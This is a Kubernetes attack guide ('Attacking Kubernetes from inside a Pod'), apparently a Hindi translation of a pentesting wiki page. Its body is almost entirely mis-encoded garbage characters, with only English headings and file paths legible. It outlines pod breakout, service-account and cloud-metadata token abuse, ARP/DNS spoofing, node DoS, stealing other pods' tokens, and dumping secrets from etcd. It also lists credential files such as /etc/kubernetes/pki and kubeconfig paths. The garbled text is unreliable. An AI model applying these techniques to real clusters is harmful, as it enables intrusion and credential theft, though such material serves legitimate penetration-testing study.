Attacking Kubernetes from inside a Pod
рдкреЙрдб рдмреНрд░реЗрдХрдЖрдЙрдЯ
рдпрджрд┐ рдЖрдк рднрд╛рдЧреНрдпрд╢рд╛рд▓реА рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕рд╕реЗ рдиреЛрдб рдкрд░ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХрддреЗ рд╣реИрдВ:
рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдирд╛
рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдпреЛрдЧреНрдпрддрд╛ рдмрдврд╝рд╛рдиреА рдкрдбрд╝ рд╕рдХрддреА рд╣реИ, рдХреБрдЫ рддрдХрдиреАрдХреЗрдВ рдЗрд╕реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:
рдЖрдк рдЗрд╕ рдбреЙрдХрд░ рдмреНрд░реЗрдХрдЖрдЙрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдк рдкреЙрдб рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓ рд╕рдХреЗрдВ рдЬрд┐рд╕реЗ рдЖрдкрдиреЗ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рд╣реИ:
Kubernetes рдпреЛрдЧреНрдпрддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ
Kubernetes рдЬрд╛рдБрдЪ рдХреЗ рдЦрдВрдб рдореЗрдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐:
Kubernetes Enumerationрд╕рд╛рдорд╛рдиреНрдпрдд: рдкреЙрдбреНрд╕ рдореЗрдВ рдПрдХ рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ рдЯреЛрдХрди рдЪрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕ рд╕реЗрд╡рд╛ рдЕрдХрд╛рдЙрдВрдЯ рдореЗрдВ рдХреБрдЫ рдпреЛрдЧреНрдпрддрд╛рдПрдБ рдЬреБрдбрд╝реА рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреНрдп рдкреЙрдбреНрд╕ рдпрд╛ рдиреЛрдбреНрд╕ рдореЗрдВ рдЪрд▓реЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдЕрдВрджрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдП рдЧрдП рд╣реЛрдВред рдЗрд╕реЗ рдХреИрд╕реЗ рдХрд░реЗрдВ рджреЗрдЦреЗрдВ:
Abusing Roles/ClusterRoles in KubernetesрдХреНрд▓рд╛рдЙрдб рдпреЛрдЧреНрдпрддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ
рдпрджрд┐ рдкреЙрдб рдПрдХ рдХреНрд▓рд╛рдЙрдб рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЕрдВрджрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ рддреЛ рдЖрдк рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕реЗ рдЯреЛрдХрди рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпреЛрдЧреНрдпрддрд╛ рдмрдврд╝рд╛ рд╕рдХрддреЗ рд╣реИрдВред
рд╡рдВрд╢рд╛рдиреБрдХреНрд░рдорд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рд╕реЗрд╡рд╛рдПрдВ рдЦреЛрдЬреЗрдВ
рдХреНрдпреЛрдВрдХрд┐ рдЖрдк Kubernetes рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ, рдпрджрд┐ рдЖрдк рдореМрдЬреВрджрд╛ рдкреЙрдб рдХреА рдпреЛрдЧреНрдпрддрд╛рдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдпреЛрдЧреНрдпрддрд╛ рдмрдврд╝рд╛рдиреЗ рдореЗрдВ рд╕рдлрд▓ рдирд╣реАрдВ рд╣реЛ рд╕рдХрддреЗ рдФрд░ рдЖрдк рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд╣реАрдВ рдирд┐рдХрд▓ рд╕рдХрддреЗ, рддреЛ рдЖрдкрдХреЛ рд╕рдВрднрд╛рд╡рд┐рдд рд╡рдВрд╢рд╛рдиреБрдХреНрд░рдорд┐рдд рд╕реЗрд╡рд╛рдПрдВ рдЦреЛрдЬрдиреА рдЪрд╛рд╣рд┐рдПред
рд╕реЗрд╡рд╛рдПрдВ
рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП, рдЖрдк рдХреБрдмрд░рдиреЗрдЯреНрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдХреА рд╕рднреА рд╕реЗрд╡рд╛рдПрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
рд╕реНрдХреИрдирд┐рдВрдЧ
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдмреИрд╢ рд╕реНрдХреНрд░рд┐рдкреНрдЯ (рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдХрд╛рд░реНрдпрд╢рд╛рд▓рд╛ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛) рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рдЖрдИрдкреА рд░реЗрдВрдЬ рдХреЛ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реНрдХреИрди рдХрд░реЗрдЧрд╛:
рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреГрд╖реНрда рдкрд░ рдЬрд╛рдВрдЪреЗрдВ рдФрд░ рд╕реАрдЦреЗрдВ рдХрд┐ рдЖрдк рдХреИрд╕реЗ рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рд╡рд┐рд╢реЗрд╖ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЕрдиреНрдп рдкреЙрдб/рд╕рднреА рд╡рд╛рддрд╛рд╡рд░рдг рдХреЛ рдХрдордЬреЛрд░ рдХрд░ рд╕рдХреЗрдВ:
Pentesting Kubernetes Servicesрд╕реНрдирд┐рдлрд┐рдВрдЧ
рдпрджрд┐ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝реНрдб рдкреЙрдб рдХрд┐рд╕реА рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕реЗрд╡рд╛ рдХреЛ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЕрдиреНрдп рдкреЙрдбреЛрдВ рдХреЛ рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ, рддреЛ рдЖрдк рд╕реНрдирд┐рдлрд┐рдВрдЧ рд╕реНрдерд╛рдиреАрдп рд╕рдВрдЪрд╛рд░ рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдкреНрд░рдорд╛рдгреЛрдВ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдиреЗрдЯрд╡рд░реНрдХ рд╕реНрдкреВрдлрд┐рдВрдЧ
рдбрд┐рдлрд╝реЙрд▓реНрдЯ рддрдХрдиреАрдХреЛрдВ рдЬреИрд╕реЗ ARP рд╕реНрдкреВрдлрд┐рдВрдЧ (рдФрд░ рдЗрд╕рдХреЗ рдзрдиреНрдпрд╡рд╛рдж рдХреЗ рд░реВрдк рдореЗрдВ DNS рд╕реНрдкреВрдлрд┐рдВрдЧ) рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдиреЗрдЯрд╡рд░реНрдХ рдореЗрдВ рдХрд╛рдо рдХрд░рддреЗ рд╣реИрдВред рдлрд┐рд░, рдПрдХ рдкреЙрдб рдХреЗ рдЕрдВрджрд░, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ NET_RAW рдХреНрд╖рдорддрд╛ рд╣реИ (рдЬреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рд╣реИ), рддреЛ рдЖрдкрдХреЛ рдХрд╕реНрдЯрдо рдмрдирд╛рдП рдЧрдП рдиреЗрдЯрд╡рд░реНрдХ рдкреИрдХреЗрдЯ рднреЗрдЬрдиреЗ рдФрд░ MitM рд╣рдорд▓реЗ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдЧреА ARP рд╕реНрдкреВрдлрд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рднреА рдкреЙрдбреНрд╕ рдХреЛ рдЬреЛ рдПрдХ рд╣реА рдиреЛрдб рдореЗрдВ рдЪрд▓ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрджрд┐ рджреБрд░реНрднрд╛рдЧреНрдпрдкреВрд░реНрдг рдкреЙрдб DNS рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдПрдХ рд╣реА рдиреЛрдб рдореЗрдВ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рд╕рдореВрд╣ рдореЗрдВ рд╕рднреА рдкреЙрдбреНрд╕ рдХреЗ рд▓рд┐рдП DNS рд╕реНрдкреВрдлрд┐рдВрдЧ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХреЗрдВрдЧреЗред
Kubernetes Network AttacksрдиреЛрдб DoS
рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ рдореИрдирд┐рдлрд╝реЗрд╕реНрдЯ рдореЗрдВ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреА рдХреЛрдИ рд╡рд┐рд╢реЗрд╖рддрд╛ рдирд╣реАрдВ рд╣реИ рдФрд░ рдХрдВрдЯреЗрдирд░реНрд╕ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЧреВ рд╕реАрдорд╛ рдХреНрд╖реЗрддреНрд░ рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд╛рдж рдХреЗ рд░реВрдк рдореЗрдВ, рд╣рдо рдкреЙрдб/рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ рдЪрд▓ рд░рд╣реЗ рд╕реНрдерд╛рди рдкрд░ рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдЙрдкрднреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рднреВрдЦреЗ рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ DoS рдХрд╛ рдХрд╛рд░рдг рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕реЗ stress-ng рдЬреИрд╕реЗ рдПрдХ рдЙрдкрдХрд░рдг рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
рдЖрдк stress-ng
рдЪрд▓рд╛рддреЗ рд╕рдордп рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдХреЗ рдмреАрдЪ рдЕрдВрддрд░ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред
рдиреЛрдб рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЛрдЗрдЯреЗрд╢рди
рдпрджрд┐ рдЖрдкрдиреЗ рдХрдВрдЯреЗрдирд░ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ рддреЛ рдиреЛрдб рдореЗрдВ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЪреАрдЬреЗрдВ рдорд┐рд▓реЗрдВрдЧреА:
рдХрдВрдЯреЗрдирд░ рд░рдирдЯрд╛рдЗрдо рдкреНрд░рдХреНрд░рд┐рдпрд╛ (рдбреЙрдХрд░)
рдиреЛрдб рдореЗрдВ рдФрд░ рднреА рдкреЙрдб/рдХрдВрдЯреЗрдирд░ рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЕрдзрд┐рдХ рдЯреЛрдХрди)
рдкреВрд░реА рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдУрдПрд╕ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ
рдХреНрдпреВрдм-рдкреНрд░реЙрдХреНрд╕реА рд╕реЗрд╡рд╛ рд╕реБрди рд░рд╣реА рд╣реИ
рдХреНрдпреВрдмрд▓реЗрдЯ рд╕реЗрд╡рд╛ рд╕реБрди рд░рд╣реА рд╣реИред рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЬрд╛рдВрдЪреЗрдВ:
рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛:
/var/lib/kubelet/
/var/lib/kubelet/kubeconfig
/var/lib/kubelet/kubelet.conf
/var/lib/kubelet/config.yaml
/var/lib/kubelet/kubeadm-flags.env
/etc/kubernetes/kubelet-kubeconfig
рдЕрдиреНрдп рдХреБрдмрд░рдиреЗрдЯреНрд╕ рд╕рд╛рдорд╛рдиреНрдп рдлрд╝рд╛рдЗрд▓реЗрдВ:
$HOME/.kube/config
- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЙрдиреНрдлрд╝рд┐рдЧ/etc/kubernetes/kubelet.conf
- рдирд┐рдпрдорд┐рдд рдХреЙрдиреНрдлрд╝рд┐рдЧ/etc/kubernetes/bootstrap-kubelet.conf
- рдмреВрдЯрд╕реНрдЯреНрд░реИрдк рдХреЙрдиреНрдлрд╝рд┐рдЧ/etc/kubernetes/manifests/etcd.yaml
- etcd рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди/etc/kubernetes/pki
- рдХреБрдмрд░рдиреЗрдЯреНрд╕ рдХреБрдВрдЬреА
рдиреЛрдб kubeconfig рдЦреЛрдЬреЗрдВ
рдпрджрд┐ рдЖрдк рдкрд╣рд▓реЗ рдЯрд┐рдкреНрдкрдгреАрдд рдкрдереЛрдВ рдореЗрдВ kubeconfig рдлрд╝рд╛рдЗрд▓ рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдХреНрдпреВрдмрд▓реЗрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рддрд░реНрдХ --kubeconfig
рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВ:
рд░рд╣рд╕реНрдп рдЪреБрд░рд╛рдирд╛
рд╕реНрдХреНрд░рд┐рдкреНрдЯ can-they.sh рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЕрдиреНрдп рдкреЙрдбреЛрдВ рдХреЗ рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдЧрд╛ рдФрд░ рдЬрд╛рдВрдЪреЗрдЧрд╛ рдХрд┐ рдХреНрдпрд╛ рд╡реЗ рдЖрдкрдХреА рджреНрд╡рд╛рд░рд╛ рдЦреЛрдЬреА рдЬрд╛ рд░рд╣реА рдЕрдиреБрдорддрд┐ рд╣реИ (рдЖрдкрдХреЛ 1 рд╕реЗ 1 рджреЗрдЦрдиреЗ рдХреА рдмрдЬрд╛рдп):
рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд┐рдд рдбреЗрдордирд╕реЗрдЯреНрд╕
рдПрдХ рдбреЗрдордирд╕реЗрдЯ рдПрдХ рдкреЙрдб рд╣реИ рдЬреЛ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд╕рднреА рдиреЛрдбреНрд╕ рдореЗрдВ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдПрдХ рдбреЗрдордирд╕реЗрдЯ рдХреЛ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рд╕рднреА рдиреЛрдбреНрд╕ рдореЗрдВ рдЖрдкрдХреЛ рдЙрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░рд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХрд╛ рдЯреЛрдХрди рдорд┐рд▓реЗрдЧрд╛ рдЬрд┐рд╕рдХрд╛ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рдЙрддреНрдкрд╛рджрди рд╡рд╣реА рд╣реИ рдЬреЛ рдкрд┐рдЫрд▓реЗ рдЦрдВрдб рдореЗрдВ рдерд╛, рд▓реЗрдХрд┐рди рдЕрдм рдЖрдк рднрд╛рдЧреНрдп рдкрд░ рдирд┐рд░реНрднрд░ рдирд╣реАрдВ рд╣реИрдВред
рдХреНрд▓рд╛рдЙрдб рдореЗрдВ рдкрд┐рд╡рдЯ
рдпрджрд┐ рдХреНрд▓рд╕реНрдЯрд░ рдХреЛ рдПрдХ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╕рд╛рдорд╛рдиреНрдпрдд: рдиреЛрдб рдХреЛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреЙрдб рд╕реЗ рдЕрд▓рдЧ рдПрдХреНрд╕реЗрд╕ рд╣реЛрдЧрд╛ред рдЗрд╕рд▓рд┐рдП, рдиреЛрдб рд╕реЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ (рдпрд╛ True рд╣реЛрд╕реНрдЯрдиреЗрдЯрд╡рд░реНрдХ рд╡рд╛рд▓реЗ рдкреЙрдб рд╕реЗ):
Kubernetes Pivoting to Cloudsetcd рдЪреБрд░рд╛рдирд╛
рдпрджрд┐ рдЖрдк рдиреЛрдбрдирд╛рдо рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕ рдкрд░ рдХрдВрдЯреЗрдирд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдПрдХ рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдореЗрдВ рдПрдХ рд╢реИрд▓ рдорд┐рд▓рд╛ рд▓реЗрдВ рдФрд░ etcd рдбреЗрдЯрд╛рдмреЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:
control-plane рдиреЛрдбреНрд╕ рдореЗрдВ рд░реЛрд▓ рдорд╛рд╕реНрдЯрд░ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХреНрд▓рд╛рдЙрдб рдореИрдиреЗрдЬреНрдб рдХреНрд▓рд╕реНрдЯрд░реНрд╕ рдореЗрдВ рдЖрдк рдЙрдирдореЗрдВ рдХреБрдЫ рднреА рдирд╣реАрдВ рдЪрд▓рд╛ рд╕рдХрддреЗред
etcd рд╕реЗ рд╕реАрдХреНрд░реЗрдЯреНрд╕ рдкрдврд╝реЗрдВ
рдпрджрд┐ рдЖрдк nodeName
рд╕реЗрд▓реЗрдХреНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдкрдиреЗ рдкреЙрдб рдХреЛ рдПрдХ рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдкрд░ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ etcd
рдбреЗрдЯрд╛рдмреЗрд╕ рддрдХ рдЖрд╕рд╛рди рдкрд╣реБрдВрдЪ рд╣реЛ рд╕рдХрддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╕реНрдЯрд░ рдХреЗ рд▓рд┐рдП рд╕рднреА рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди, рд╕рд╣рд┐рдд рд╕рднреА рд╕реАрдХреНрд░реЗрдЯреНрд╕ рд╣реЛрддреЗ рд╣реИрдВред
рдиреАрдЪреЗ рдПрдХ рдЬрд▓реНрджрдмрд╛рдЬ рддрд░реАрдХрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЖрдк etcd
рд╕реЗ рд╕реАрдХреНрд░реЗрдЯреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЕрдЧрд░ рдпрд╣ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдПрдХ рдФрд░ рд╕реБрд░реБрдЪрд┐рдкреВрд░реНрдг рд╕рдорд╛рдзрд╛рди рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ etcd
рдХреНрд▓рд╛рдЗрдВрдЯ рдпреВрдЯрд┐рд▓рд┐рдЯреА etcdctl
рдХреЗ рд╕рд╛рде рдПрдХ рдкреЙрдб рдЙрдард╛рддрд╛ рд╣реИ рдФрд░ рдЬрд╣рд╛рдВ рднреА рдпрд╣ рдЪрд▓ рд░рд╣рд╛ рд╣реИ, рд╡рд╣рд╛рдВ etcd
рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореИрдирд┐рдлреЗрд╕реНрдЯ рдХреА рдЬрд╛рдБрдЪ рдХрд░реЗрдВред
рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ etcd
рдХрдВрдЯреНрд░реЛрд▓-рдкреНрд▓реЗрди рдиреЛрдб рдкрд░ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╣рд╛рдБ рд╣реИ (рдпрд╣ kubeadm
рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП рдХреНрд▓рд╕реНрдЯрд░ рдкрд░ рд╣реИ)
рдИрдЯреАрд╕реАрдбреА рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдбреЗрдЯрд╛ рджреЗрдЦреЗрдВ:
рдбреЗрдЯрд╛рдмреЗрд╕ рд╕реЗ рдЯреЛрдХрди рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдирд╛рдо рджрд┐рдЦрд╛рдПрдВ
рд╡рд╣реА рдХрдорд╛рдВрдб, рд▓реЗрдХрд┐рди рдХреБрдм-рд╕рд┐рд╕реНрдЯрдо рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдХреЗрд╡рд▓ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЯреЛрдХрди рд▓реМрдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ greps
рд╕реНрдереИрддрд┐рдХ/рдкрд░реНрджрд░реНрд╢реАрдд рдкреЙрдбреНрд╕ рд╕реНрдерд╛рдпрд┐рддреНрд╡
рд╕реНрдереИрддрд┐рдХ рдкреЙрдбреНрд╕ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреЛрдб рдкрд░ kubelet рдбреЗрдорди рджреНрд╡рд╛рд░рд╛ рд╕реАрдзреЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ API рд╕рд░реНрд╡рд░ рдЙрдиреНрд╣реЗрдВ рдирд╣реАрдВ рджреЗрдЦрддрд╛ред рдЬреЛ рдкреЙрдбреНрд╕ рдирд┐рдпрдВрддреНрд░рдг рддрд▓ рдкрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдбрд┐рдкреНрд▓реЙрдпрдореЗрдВрдЯ); рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, kubelet рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдХрд╛ рдзреНрдпрд╛рди рд░рдЦрддрд╛ рд╣реИ (рдФрд░ рдпрджрд┐ рдпрд╣ рд╡рд┐рдлрд▓ рд╣реЛрддрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рдкреБрдирдГ рдЖрд░рдВрдн рдХрд░рддрд╛ рд╣реИ)ред
рдЗрд╕рд▓рд┐рдП, рд╕реНрдереИрддрд┐рдХ рдкреЙрдбреНрд╕ рд╣рдореЗрд╢рд╛ рдПрдХ рдХреНрдпреВрдмрд▓реЗрдЯ рд╕реЗ рдмрд╛рдБрдзреЗ рдЬрд╛рддреЗ рд╣реИрдВ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдиреЛрдб рдкрд░ред
kubelet рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдкреНрд░рддреНрдпреЗрдХ рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдХреЗ рд▓рд┐рдП рдХреБрдмрд░рдиреЗрдЯреАрдЬрд╝ API рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдкрд░рджрд░реНрд╢реА рдкреЙрдб рдмрдирд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдиреЛрдб рдкрд░ рдЪрд▓ рд░рд╣реЗ рдкреЙрдбреНрд╕ рдХреЛ API рд╕рд░реНрд╡рд░ рдкрд░ рджрд┐рдЦрд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рд╡рд╣рд╛рдВ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдкреЙрдб рдирд╛рдореЛрдВ рдХреЗ рдЖрдЧреЗ рдиреЛрдб рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдЧреНрд░рджрд╢реА рдбреИрд╢ рд▓рдЧрд╛ рд╣реЛрдЧрд╛ред
рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдХреА spec
